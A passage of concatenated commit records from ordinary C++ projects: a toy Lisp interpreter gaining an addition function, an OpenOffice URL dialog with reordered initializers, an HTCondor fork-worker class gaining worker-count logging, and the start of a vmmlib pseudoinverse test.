}\n\n std::string token_val = code.substr(i, token_len);\n tokens.push_back(new Token(TOKEN_INTEGER, token_val));\n\n i += token_len;\n }\n else { \/\/ symbol\n size_t token_len = 0;\n while(is_symbol(code[i + token_len])) {\n token_len++;\n if(i + token_len >= code.size()) {\n \/\/TODO: raise an error\n }\n }\n\n std::string token_val = code.substr(i, token_len);\n TokenType token_type;\n if(token_val == \"nil\")\n token_type = TOKEN_NIL;\n else\n token_type = TOKEN_SYMBOL;\n\n if(token_type == TOKEN_SYMBOL)\n tokens.push_back(new Token(TOKEN_SYMBOL, token_val));\n else\n tokens.push_back(new Token(token_type));\n\n i += token_len - 1;\n }\n }\n\n return tokens;\n }\n };\n\n class Evaluator {\n std::map<std::string, Expression*> env;\n\n Expression* eval_expr(Expression* expr) {\n const std::type_info& id = typeid(*expr);\n if(id == typeid(CallFunction)) {\n auto call_fun = (CallFunction*)expr;\n auto name = call_fun->name;\n if(name == \"print\") {\n std::cout << (evaluate(call_fun->args[0]))->lisp_str() << std::endl;\n return new Nil();\n }\n else if(name == \"setq\") {\n env[((Symbol*)call_fun->args[0])->value] = call_fun->args[1];\n return new Nil();\n }\n else if(name == \"atom\") {\n auto val = evaluate(call_fun->args[0]);\n if(typeid(*val) != typeid(List)) return new T();\n else return new Nil();\n }\n else if(name == \"list\") {\n auto args = call_fun->args;\n for(size_t i = 0 ; i < args.size() ; i++) {\n args[i] = evaluate(args[i]);\n }\n return new List(args);\n }\n }\n else if(id == typeid(Symbol)) {\n return env[((Symbol*)expr)->value];\n }\n\n return expr;\n }\n\n public:\n Expression* evaluate(Expression* expr) {\n return eval_expr(expr);\n }\n };\n}\n\n\nint main() {\n using namespace std;\n\n string code;\n \/\/code.reserve(1024);\n\n char ch;\n while((ch = cin.get()) != std::char_traits<char>::eof()) {\n code.push_back(ch);\n }\n\n Lisp::Parser parser;\n auto exprs = parser.parse(code);\n\n Lisp::Evaluator evaluator;\n for(size_t i = 0 ; i < exprs.size() ; i++) {\n exprs[i] = evaluator.evaluate(exprs[i]);\n }\n\n \/\/ fake GC\n for(auto expr : objects) {\n delete expr;\n }\n\n return 0;\n}\n<commit_msg>+関数を実装した<commit_after>#include <iostream>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <list>\n#include <map>\n#include <typeinfo>\n#include <stdexcept>\n#include <cstdlib>\n#include <ctype.h>\n\n#define PRINT_LINE (std::cout << \"line: \" << __LINE__ << std::endl)\n\nenum TokenType{\n TOKEN_BRACKET_OPEN,\n TOKEN_BRACKET_CLOSE,\n TOKEN_SYMBOL,\n TOKEN_STRING,\n TOKEN_INTEGER,\n TOKEN_NIL,\n};\n\nclass Token {\npublic:\n TokenType type;\n std::string value;\n\n Token(TokenType atype) : type(atype), value(std::string()) {\n }\n\n Token(TokenType atype, std::string avalue) : type(atype), value(avalue) {\n }\n\n std::string str() {\n std::stringstream ss;\n ss << \"Token(\" << type << \", \" << value << \")\";\n return ss.str();\n }\n};\n\nnamespace Lisp {\n class Expression;\n}\n\n\/\/ memory allocated exprs\nstd::list<Lisp::Expression*> objects;\n\nnamespace Lisp {\n class Expression {\n public:\n Expression() {\n objects.push_back(this);\n }\n virtual ~Expression() {}\n\n virtual std::string lisp_str() = 0;\n };\n\n class CallFunction : public Expression {\n public:\n std::string name;\n std::vector<Expression*> args;\n\n CallFunction(std::string aname, std::vector<Expression*> &aargs) : name(aname), args(aargs) {}\n\n std::string lisp_str() {\n std::stringstream ss;\n ss << \"(\" << name << \" \";\n for(Expression* arg : args) {\n ss << arg->lisp_str() << \" \";\n }\n ss << \")\";\n return ss.str();\n }\n };\n\n class String : public Expression {\n public:\n std::string value;\n\n String(std::string &avalue) : value(avalue) {}\n\n std::string lisp_str() { return '\"' + value + '\"'; }\n };\n\n class Integer : public Expression {\n public:\n unsigned long value;\n\n Integer(std::string &avalue) : value(std::atol(avalue.c_str())) {}\n Integer(unsigned long avalue) : value(avalue) {}\n\n std::string lisp_str() { return std::to_string(value); }\n };\n\n class Symbol : public Expression {\n public:\n std::string value;\n\n Symbol(std::string &avalue) : value(avalue) {}\n\n std::string lisp_str() { return value; }\n };\n\n class List : public Expression {\n public:\n std::vector<Expression*> values;\n\n List(std::vector<Expression*> &avalues) : values(avalues) {}\n\n std::string lisp_str() {\n std::stringstream ss;\n ss << \"(\";\n for(Expression* value : values) {\n ss << value->lisp_str() << \" \";\n }\n ss << \")\";\n return ss.str();\n }\n };\n\n \/\/ TODO: RubyみたくExpression*に埋め込みたい\n class Nil : public Expression {\n public:\n Nil() {}\n\n std::string lisp_str() { return \"nil\"; }\n };\n\n class T : public Expression {\n public:\n T() {}\n\n std::string lisp_str() { return \"T\"; }\n };\n\n class Parser {\n public:\n std::vector<Expression*> parse(const std::string &code) {\n tokens = tokenize(code);\n\n \/*for(auto tok : tokens) {\n std::cout << tok->str() << std::endl;\n }*\/\n\n std::vector<Expression*> exprs;\n while(!tokens.empty()) {\n exprs.push_back(parse_expr());\n }\n return exprs;\n }\n\n private:\n std::list<Token*> tokens;\n\n inline Token* cur_token() {\n return tokens.empty() ? nullptr : tokens.front();\n }\n\n void consume_token() {\n auto ctoken = cur_token();\n if(ctoken) delete ctoken;\n\n if(!tokens.empty()) tokens.pop_front();\n }\n\n Expression* parse_call_fun() {\n consume_token();\n if(cur_token()->type != TOKEN_SYMBOL) {\n \/\/TODO: raise an error\n }\n std::string name;\n name = cur_token()->value;\n\n consume_token();\n std::vector<Expression*> args;\n for(; !tokens.empty() && cur_token()->type != TOKEN_BRACKET_CLOSE ; consume_token()) {\n args.push_back(parse_expr());\n }\n\n consume_token();\n\n return new CallFunction(name, args);\n }\n\n Expression* parse_expr() {\n switch(cur_token()->type) {\n case TOKEN_BRACKET_OPEN:\n return parse_call_fun();\n case TOKEN_STRING:\n return new String(cur_token()->value);\n case TOKEN_NIL:\n return new Nil();\n case TOKEN_SYMBOL:\n return new Symbol(cur_token()->value);\n case TOKEN_INTEGER:\n return new Integer(cur_token()->value);\n default:\n throw std::logic_error(\"unknown token: \" + std::to_string(cur_token()->type));\n return nullptr;\n }\n }\n\n bool is_symbol(char c) {\n return !isspace(c);\n }\n\n bool is_number(char c) {\n return isdigit(c);\n }\n\n std::list<Token*> tokenize(const std::string &code) {\n std::list<Token*> tokens;\n\n for(size_t i = 0 ; i < code.size() - 1 ; i++) { \/\/TODO: -1を修正(EOFっぽい?)\n char ch = code[i];\n if(ch == '(')\n tokens.push_back(new Token(TOKEN_BRACKET_OPEN));\n else if(ch == ')')\n tokens.push_back(new Token(TOKEN_BRACKET_CLOSE));\n else if(ch == '\"') { \/\/ string\n i++;\n\n size_t token_len = 0;\n while(code[i + token_len] != '\"') {\n token_len++;\n if(i + token_len >= code.size()) {\n \/\/TODO: raise an error\n }\n }\n tokens.push_back(new Token(TOKEN_STRING, code.substr(i, token_len)));\n i += token_len;\n }\n else if(ch == ' ' || ch == '\\n')\n ;\/\/skip\n else if(is_number(ch)) {\n size_t token_len = 0;\n while(is_number(code[i + token_len])) {\n token_len++;\n \/\/ TODO: raise an error\n }\n\n std::string token_val = code.substr(i, token_len);\n tokens.push_back(new Token(TOKEN_INTEGER, token_val));\n\n i += token_len;\n }\n else { \/\/ symbol\n size_t token_len = 0;\n while(is_symbol(code[i + token_len])) {\n token_len++;\n if(i + token_len >= code.size()) {\n \/\/TODO: raise an error\n }\n }\n\n std::string token_val = code.substr(i, token_len);\n TokenType token_type;\n if(token_val == \"nil\")\n token_type = TOKEN_NIL;\n else\n token_type = TOKEN_SYMBOL;\n\n if(token_type == TOKEN_SYMBOL)\n tokens.push_back(new Token(TOKEN_SYMBOL, token_val));\n else\n tokens.push_back(new Token(token_type));\n\n i += token_len - 1;\n }\n }\n\n return tokens;\n }\n };\n\n class Evaluator {\n std::map<std::string, Expression*> env;\n\n Expression* eval_expr(Expression* expr) {\n const std::type_info& id = typeid(*expr);\n if(id == typeid(CallFunction)) {\n auto call_fun = (CallFunction*)expr;\n auto name = call_fun->name;\n if(name == \"print\") {\n std::cout << (evaluate(call_fun->args[0]))->lisp_str() << std::endl;\n return new Nil();\n }\n else if(name == \"setq\") {\n env[((Symbol*)call_fun->args[0])->value] = call_fun->args[1];\n return new Nil();\n }\n else if(name == \"atom\") {\n auto val = evaluate(call_fun->args[0]);\n if(typeid(*val) != typeid(List)) return new T();\n else return new Nil();\n }\n else if(name == \"+\") {\n Integer* sum = new Integer(0);\n for(auto arg : call_fun->args) {\n sum->value += ((Integer*)evaluate(arg))->value;\n }\n return sum;\n }\n else if(name == \"list\") {\n auto args = call_fun->args;\n for(size_t i = 0 ; i < args.size() ; i++) {\n args[i] = evaluate(args[i]);\n }\n return new List(args);\n }\n }\n else if(id == typeid(Symbol)) {\n return env[((Symbol*)expr)->value];\n }\n\n return expr;\n }\n\n public:\n Expression* evaluate(Expression* expr) {\n return eval_expr(expr);\n }\n };\n}\n\n\nint main() {\n using namespace std;\n\n string code;\n \/\/code.reserve(1024);\n\n char ch;\n while((ch = cin.get()) != std::char_traits<char>::eof()) {\n code.push_back(ch);\n }\n\n Lisp::Parser parser;\n auto exprs = parser.parse(code);\n\n Lisp::Evaluator evaluator;\n for(size_t i = 0 ; i < exprs.size() ; i++) {\n exprs[i] = evaluator.evaluate(exprs[i]);\n }\n\n \/\/ fake GC\n for(auto expr : objects) {\n delete expr;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: sfxurl.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: dv $ $Date: 2001-07-12 07:43:50 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#include <filedlghelper.hxx>\n#include <sfxresid.hxx>\n#include <dialog.hrc>\n\nSfxUrlDialog::SfxUrlDialog( Window *pParent )\n : ModalDialog( pParent, SfxResId( RID_URLOPEN ) ),\n aEdit( this, ResId(RID_URLOPEN_URL) ),\n aCancel( this, ResId(RID_URLOPEN_CANCEL) ),\n aOk( this, ResId(RID_URLOPEN_OK) )\n{\n FreeResource();\n}\n<commit_msg>INTEGRATION: CWS ooo20040704 (1.2.562); FILE MERGED 2004\/06\/28 13:04:54 waratah 1.2.562.1: #i30812# reorder declaration to match header declares<commit_after>\/*************************************************************************\n *\n * $RCSfile: sfxurl.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2004-09-08 15:40:54 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#include <filedlghelper.hxx>\n#include <sfxresid.hxx>\n#include <dialog.hrc>\n\nSfxUrlDialog::SfxUrlDialog( Window *pParent )\n : ModalDialog( pParent, SfxResId( RID_URLOPEN ) ),\n aEdit( this, ResId(RID_URLOPEN_URL) ),\n aOk( this, ResId(RID_URLOPEN_OK) ),\n aCancel( this, ResId(RID_URLOPEN_CANCEL) )\n{\n FreeResource();\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License. You may\n * obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include <limits.h>\n#include <string.h>\n#include \"condor_debug.h\"\n#include \"condor_daemon_core.h\"\n#include \"forkwork.h\"\n\n\/\/ Instantiate the list of Cron Jobs\n\n\/\/ Fork worker class constructor\nForkWorker::ForkWorker( void )\n{\n\tvalid = 0x5a5a;\n\tpid = -1;\n\tparent = -1;\n}\n\n\/\/ Fork worker class destructor\nForkWorker::~ForkWorker( void )\n{\n\tif ( valid != 0x5a5a ) {\n\t\tdprintf( D_ALWAYS, \"ForkWorker: delete invalid!!\\n\" );\n\t}\n\tvalid = 0;\n}\n\n\/\/ Fork off a real worker job\nForkStatus\nForkWorker::Fork( void )\n{\n# ifndef WIN32\n\t\/\/ Fork\n\tpid = fork( );\n\n\tif ( pid < 0 ) {\n\t\tdprintf( D_ALWAYS, \"ForkWorker::Fork: Fork failed\\n\" );\n\t\treturn FORK_FAILED;\n\t} else if ( 0 == pid ) {\n\t\t\t\/\/ We should really be using DC::Create_Thread() for this.\n\t\t\t\/\/ However, since we're not, we need to call this method\n\t\t\t\/\/ to tell DC we're a forked child and that we want to\n\t\t\t\/\/ exit via exec(), not using exit(), so that destructors\n\t\t\t\/\/ don't get called...\n\t\tdaemonCore->Forked_Child_Wants_Exit_By_Exec( true );\n\t\tparent = getppid( );\n\t\tpid = -1;\n\t\treturn FORK_CHILD;\n\t} else {\n\t\t\/\/ Parent\n\t\tparent = getpid( );\n\t\tdprintf( D_JOB, \"ForkWorker::Fork: New child of %d = %d\\n\",\n\t\t\t\t parent, pid );\n\t\treturn FORK_PARENT;\n\t}\n# else\n\treturn FORK_FAILED;\n# endif\n}\n\n\/\/ Fork work constructor\nForkWork::ForkWork( int max_workers )\n{\n# ifdef WIN32\n\tmax_workers = 0;\n# endif\n\tmaxWorkers = max_workers;\n\treaperId = -1;\n\tchildExit = false;\n}\n\n\/\/ Finish initialization\nint\nForkWork::Initialize( void )\n{\n\tif( reaperId != -1 ) {\n\t\t\t\/\/ already initialized\n\t\treturn 0;\n\t}\n\n\t\/\/ Register my reaper\n\treaperId = daemonCore->Register_Reaper( \n\t\t\"ForkWork_Reaper\",\n\t\t(ReaperHandlercpp) &ForkWork::Reaper,\n\t\t\"ForkWork Reaper\",\n\t\tthis );\n daemonCore->Set_Default_Reaper( reaperId );\n\treturn 0;\n}\n\n\/\/ Fork work denstructor\nForkWork::~ForkWork( void )\n{\n\t\/\/ Kill 'em all\n\tDeleteAll( );\n}\n\n\/\/ Set max # of children\nvoid\nForkWork::setMaxWorkers( int max_workers )\n{\n# ifdef WIN32\n\tmax_workers = 0;\n# endif\n\tmaxWorkers = max_workers;\n\tif ( workerList.Number() > maxWorkers ) {\n\t\tdprintf( D_JOB, \"Warning: # forked workers exceeds max\\n\" );\n\t}\n}\n\n\/\/ Kill & delete all running workers\nint\nForkWork::DeleteAll( void )\n{\n\tForkWorker\t*worker;\n\n\t\/\/ Kill 'em all\n\tKillAll( true );\n\n\t\/\/ Walk through the list\n\tworkerList.Rewind( );\n\twhile ( workerList.Next( worker ) ) {\n\t\tworkerList.DeleteCurrent( );\n\t\tdelete worker;\n\t}\n\treturn 0;\n}\n\n\/\/ Kill all running jobs\nint\nForkWork::KillAll( bool force )\n{\n\tForkWorker\t*worker;\n\tint\t\tmypid = getpid();\n\tint\t\tnum_killed = 0;\n\n\t\/\/ Walk through the list\n\tworkerList.Rewind( );\n\twhile ( workerList.Next( worker ) ) {\n\t\t\/\/ If I'm the parent, kill it\n\t\tif ( mypid == worker->getParent() ) {\n\t\t\tnum_killed++;\n\t\t\tif ( force ) {\n\t\t\t\tdaemonCore->Send_Signal( worker->getPid(), SIGKILL );\n\t\t\t} else {\n\t\t\t\tdaemonCore->Send_Signal( worker->getPid(), SIGTERM );\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ If we killed some, log it...\n\tif ( num_killed ) {\n\t\tdprintf( D_JOB, \"ForkWork %d: Killed %d jobs\\n\",\n\t\t\t\t mypid, workerList.Number() );\n\t}\n\treturn 0;\n}\n\n\/\/ Try to fork off another worker\nForkStatus\nForkWork::NewJob( void )\n{\n\t\/\/ Any open slots?\n\tif ( workerList.Number() >= maxWorkers ) {\n\t\tif ( maxWorkers ) {\n\t\t\tdprintf( D_JOB, \"ForkWork: busy\\n\" );\n\t\t}\n\t\treturn FORK_BUSY;\n\t}\n\n\t\/\/ Fork off the child\n\tForkWorker\t*worker = new ForkWorker( );\n\tForkStatus status = worker->Fork( );\n\n\t\/\/ Ok, let's see what happenned..\n\tif ( FORK_PARENT == status ) {\n\t\tworkerList.Append( worker );\n\t\treturn FORK_PARENT;\n\t} else if ( FORK_FAILED == status ) {\n\t\tdelete worker;\n\t\treturn FORK_FAILED;\n\t} else {\n\t\tdelete worker;\n\t\treturn FORK_CHILD;\n\t}\n}\n\n\/\/ Child worker is done\nvoid\nForkWork::WorkerDone( int exit_status )\n{\n\tdprintf( D_JOB,\n\t\t\t \"ForkWork: Child %d done, status %d\\n\",\n\t\t\t getpid(), exit_status );\n\texit( exit_status );\n}\n\n\/\/ Child reaper\nint\nForkWork::Reaper( int exitPid, int \/*exitStatus*\/ )\n{\n\tForkWorker\t*worker;\n\n\t\/\/ Let's find out if it's one of our children...\n\tworkerList.Rewind( );\n\twhile ( workerList.Next( worker ) ) {\n\t\tif ( worker->getPid() == exitPid ) {\n\t\t\tworkerList.DeleteCurrent( );\n\t\t\tdelete worker;\t\n\t\treturn 0;\n\t\t}\n\t}\n\treturn 0;\n}\n<commit_msg>Add basic logging to denote active workers. ===VersionHistory:None===<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License. You may\n * obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include <limits.h>\n#include <string.h>\n#include \"condor_debug.h\"\n#include \"condor_daemon_core.h\"\n#include \"forkwork.h\"\n\n\/\/ Instantiate the list of Cron Jobs\n\n\/\/ Fork worker class constructor\nForkWorker::ForkWorker( void )\n{\n\tvalid = 0x5a5a;\n\tpid = -1;\n\tparent = -1;\n}\n\n\/\/ Fork worker class destructor\nForkWorker::~ForkWorker( void )\n{\n\tif ( valid != 0x5a5a ) {\n\t\tdprintf( D_ALWAYS, \"ForkWorker: delete invalid!!\\n\" );\n\t}\n\tvalid = 0;\n}\n\n\/\/ Fork off a real worker job\nForkStatus\nForkWorker::Fork( void )\n{\n# ifndef WIN32\n\t\/\/ Fork\n\tpid = fork( );\n\n\tif ( pid < 0 ) {\n\t\tdprintf( D_ALWAYS, \"ForkWorker::Fork: Fork failed\\n\" );\n\t\treturn FORK_FAILED;\n\t} else if ( 0 == pid ) {\n\t\t\t\/\/ We should really be using DC::Create_Thread() for this.\n\t\t\t\/\/ However, since we're not, we need to call this method\n\t\t\t\/\/ to tell DC we're a forked child and that we want to\n\t\t\t\/\/ exit via exec(), not using exit(), so that destructors\n\t\t\t\/\/ don't get called...\n\t\tdaemonCore->Forked_Child_Wants_Exit_By_Exec( true );\n\t\tparent = getppid( );\n\t\tpid = -1;\n\t\treturn FORK_CHILD;\n\t} else {\n\t\t\/\/ Parent\n\t\tparent = getpid( );\n\t\tdprintf( D_JOB, \"ForkWorker::Fork: New child of %d = %d\\n\",\n\t\t\t\t parent, pid );\n\t\treturn FORK_PARENT;\n\t}\n# else\n\treturn FORK_FAILED;\n# endif\n}\n\n\/\/ Fork work constructor\nForkWork::ForkWork( int max_workers )\n{\n# ifdef WIN32\n\tmax_workers = 0;\n# endif\n\tmaxWorkers = max_workers;\n\treaperId = -1;\n\tchildExit = false;\n}\n\n\/\/ Finish initialization\nint\nForkWork::Initialize( void )\n{\n\tif( reaperId != -1 ) {\n\t\t\t\/\/ already initialized\n\t\treturn 0;\n\t}\n\n\t\/\/ Register my reaper\n\treaperId = daemonCore->Register_Reaper( \n\t\t\"ForkWork_Reaper\",\n\t\t(ReaperHandlercpp) &ForkWork::Reaper,\n\t\t\"ForkWork Reaper\",\n\t\tthis );\n daemonCore->Set_Default_Reaper( reaperId );\n\treturn 0;\n}\n\n\/\/ Fork work denstructor\nForkWork::~ForkWork( void )\n{\n\t\/\/ Kill 'em all\n\tDeleteAll( );\n}\n\n\/\/ Set max # of children\nvoid\nForkWork::setMaxWorkers( int max_workers )\n{\n# ifdef WIN32\n\tmax_workers = 0;\n# endif\n\tmaxWorkers = max_workers;\n\tif ( workerList.Number() > maxWorkers ) {\n\t\tdprintf( D_JOB, \"Warning: # forked workers exceeds max\\n\" );\n\t}\n}\n\n\/\/ Kill & delete all running workers\nint\nForkWork::DeleteAll( void )\n{\n\tForkWorker\t*worker;\n\n\t\/\/ Kill 'em all\n\tKillAll( true );\n\n\t\/\/ Walk through the list\n\tworkerList.Rewind( );\n\twhile ( workerList.Next( worker ) ) {\n\t\tworkerList.DeleteCurrent( );\n\t\tdelete worker;\n\t}\n\treturn 0;\n}\n\n\/\/ Kill all running jobs\nint\nForkWork::KillAll( bool force )\n{\n\tForkWorker\t*worker;\n\tint\t\tmypid = getpid();\n\tint\t\tnum_killed = 0;\n\n\t\/\/ Walk through the list\n\tworkerList.Rewind( );\n\twhile ( workerList.Next( worker ) ) {\n\t\t\/\/ If I'm the parent, kill it\n\t\tif ( mypid == worker->getParent() ) {\n\t\t\tnum_killed++;\n\t\t\tif ( force ) {\n\t\t\t\tdaemonCore->Send_Signal( worker->getPid(), SIGKILL );\n\t\t\t} else {\n\t\t\t\tdaemonCore->Send_Signal( worker->getPid(), SIGTERM );\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ If we killed some, log it...\n\tif ( num_killed ) {\n\t\tdprintf( D_JOB, \"ForkWork %d: Killed %d jobs\\n\",\n\t\t\t\t mypid, workerList.Number() );\n\t}\n\treturn 0;\n}\n\n\/\/ Try to fork off another worker\nForkStatus\nForkWork::NewJob( void )\n{\n\tForkStatus status = FORK_BUSY;\n\t\n\t\/\/ Any open slots?\n\tif ( workerList.Number() >= maxWorkers ) {\n\t\tif ( maxWorkers ) {\n\t\t\tdprintf( D_JOB, \"ForkWork: busy\\n\" );\n\t\t}\n\t}\n\telse\n\t{\n\t \/\/ Fork off the child\n\t ForkWorker\t*worker = new ForkWorker( );\n\t status = worker->Fork( );\n\n\t \/\/ Ok, let's see what happenned..\n\t if ( FORK_PARENT == status ) {\n\t\t workerList.Append( worker );\n\t } else if ( FORK_FAILED == status ) {\n\t\t delete worker;\n\t } else {\n\t\t delete worker;\n\t\t status = FORK_CHILD;\n\t }\n\t}\n\t\n\tdprintf( D_ALWAYS, \"Number of Active Workers %d\\n\", workerList.Number());\n\t\n\treturn status;\n}\n\n\/\/ Child worker is done\nvoid\nForkWork::WorkerDone( int exit_status )\n{\n\tdprintf( D_JOB,\n\t\t\t \"ForkWork: Child %d done, status %d\\n\",\n\t\t\t getpid(), exit_status );\n\texit( exit_status );\n}\n\n\/\/ Child reaper\nint\nForkWork::Reaper( int exitPid, int \/*exitStatus*\/ )\n{\n\tForkWorker\t*worker;\n\n\t\/\/ Let's find out if it's one of our children...\n\tworkerList.Rewind( );\n\twhile ( workerList.Next( worker ) ) {\n\t\tif ( worker->getPid() == exitPid ) {\n\t\t\tworkerList.DeleteCurrent( );\n\t\t\tdelete worker;\t\n\t\treturn 0;\n\t\t}\n\t}\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"matrix_pseudoinverse_test.hpp\"\n#include <vmmlib\/matrix_pseudoinverse.hpp>\n\n#include <sstream>\n#include <stdint.h>\n\nnamespace vmml\n{\n\t\n\tbool\n\tmatrix_pseudoinverse_test::run()\n\t{\n\t\tbool ok = false;\n\t\t\n\t\t\n\t\tcompute_pseudoinverse< matrix< 6, 4, float > > compute_pinv;\n\t\tmatrix< 6, 4, float > input;\n\t\tdouble data[] = { 0.8147, 0.9058, 0.1270, 0.9134, \n\t\t\t0.6324, 0.0975, 0.2785, 0.5469, \n\t\t\t0.9575, 0.9649, 0.1576, 0.9706, \n\t\t\t0.9572, 0.4854, 0.8003, 0.1419, \n\t\t\t0.4218, 0.9157, 0.7922, 0.9595, \n\t\t\t0.6557, 0.0357, 0.8491, 0.9340};\n\t\tinput.set( data, data + 24);\n\t\tmatrix< 6, 4, float > pseudoinverse_transposed_control;\n\t\tdouble data2[] = { 0.1880, 0.1967, -0.4289, 0.1703, \n\t\t\t0.5039, -0.5719, -0.2487, 0.2746, \n\t\t\t0.3297, 0.1597, -0.4866, 0.1270, \n\t\t\t0.6085, 0.2728, 0.5149, -0.9327, \n\t\t\t-0.9104, 0.6751, 0.6790, 0.1391, \n\t\t\t0.0213, -0.7584, 0.2949, 0.6102 };\n\t\tpseudoinverse_transposed_control.set( data2, data2 + 24);\n\t\t\n\t\tmatrix< 6, 4, float > pseudoinverse_transposed;\n\t\tcompute_pinv( input, pseudoinverse_transposed );\n\t\t\n\t\tif ( pseudoinverse_transposed_control.equals( pseudoinverse_transposed, 0.1 ))\n\t\t{\t\n\t\t\tlog( \"matrix compute pseudo inverse \", true );\n\t\t} else\n\t\t{\n\t\t\tstd::stringstream error;\n\t\t\terror \n\t\t\t<< \"matrix compute pseudo inverse: \" << std::endl\n\t\t\t<< \"inverse matrix (transposed) should be: \" << std::endl << pseudoinverse_transposed_control << std::endl\n\t\t\t<< \"inverse matrix (transposed) is: \" << std::endl << pseudoinverse_transposed << std::endl;\n\t\t\t\n\t\t\tlog_error( error.str() );\n\t\t}\n\t\t\n\t\t\n\t\tok = true;\n\t\treturn ok;\n\t}\n\n\t\n} \/\/ namespace vmml<commit_msg>- added more tests for matrix_pseudoinverse <commit_after>#include \"matrix_pseudoinverse_test.hpp\"\n#include <vmmlib\/matrix_pseudoinverse.hpp>\n\n#include <sstream>\n#include <stdint.h>\n\nnamespace vmml\n{\n\t\n\tbool\n\tmatrix_pseudoinverse_test::run()\n\t{\n\t\tbool ok = false;\n\t\t\n\t\t\n\t\tcompute_pseudoinverse< matrix< 6, 4, float > > compute_pinv;\n\t\tmatrix< 6, 4, float > input;\n\t\tdouble data[] = { 0.8147, 0.9058, 0.1270, 0.9134, \n\t\t\t0.6324, 0.0975, 0.2785, 0.5469, \n\t\t\t0.9575, 0.9649, 0.1576, 0.9706, \n\t\t\t0.9572, 0.4854, 0.8003, 0.1419, \n\t\t\t0.4218, 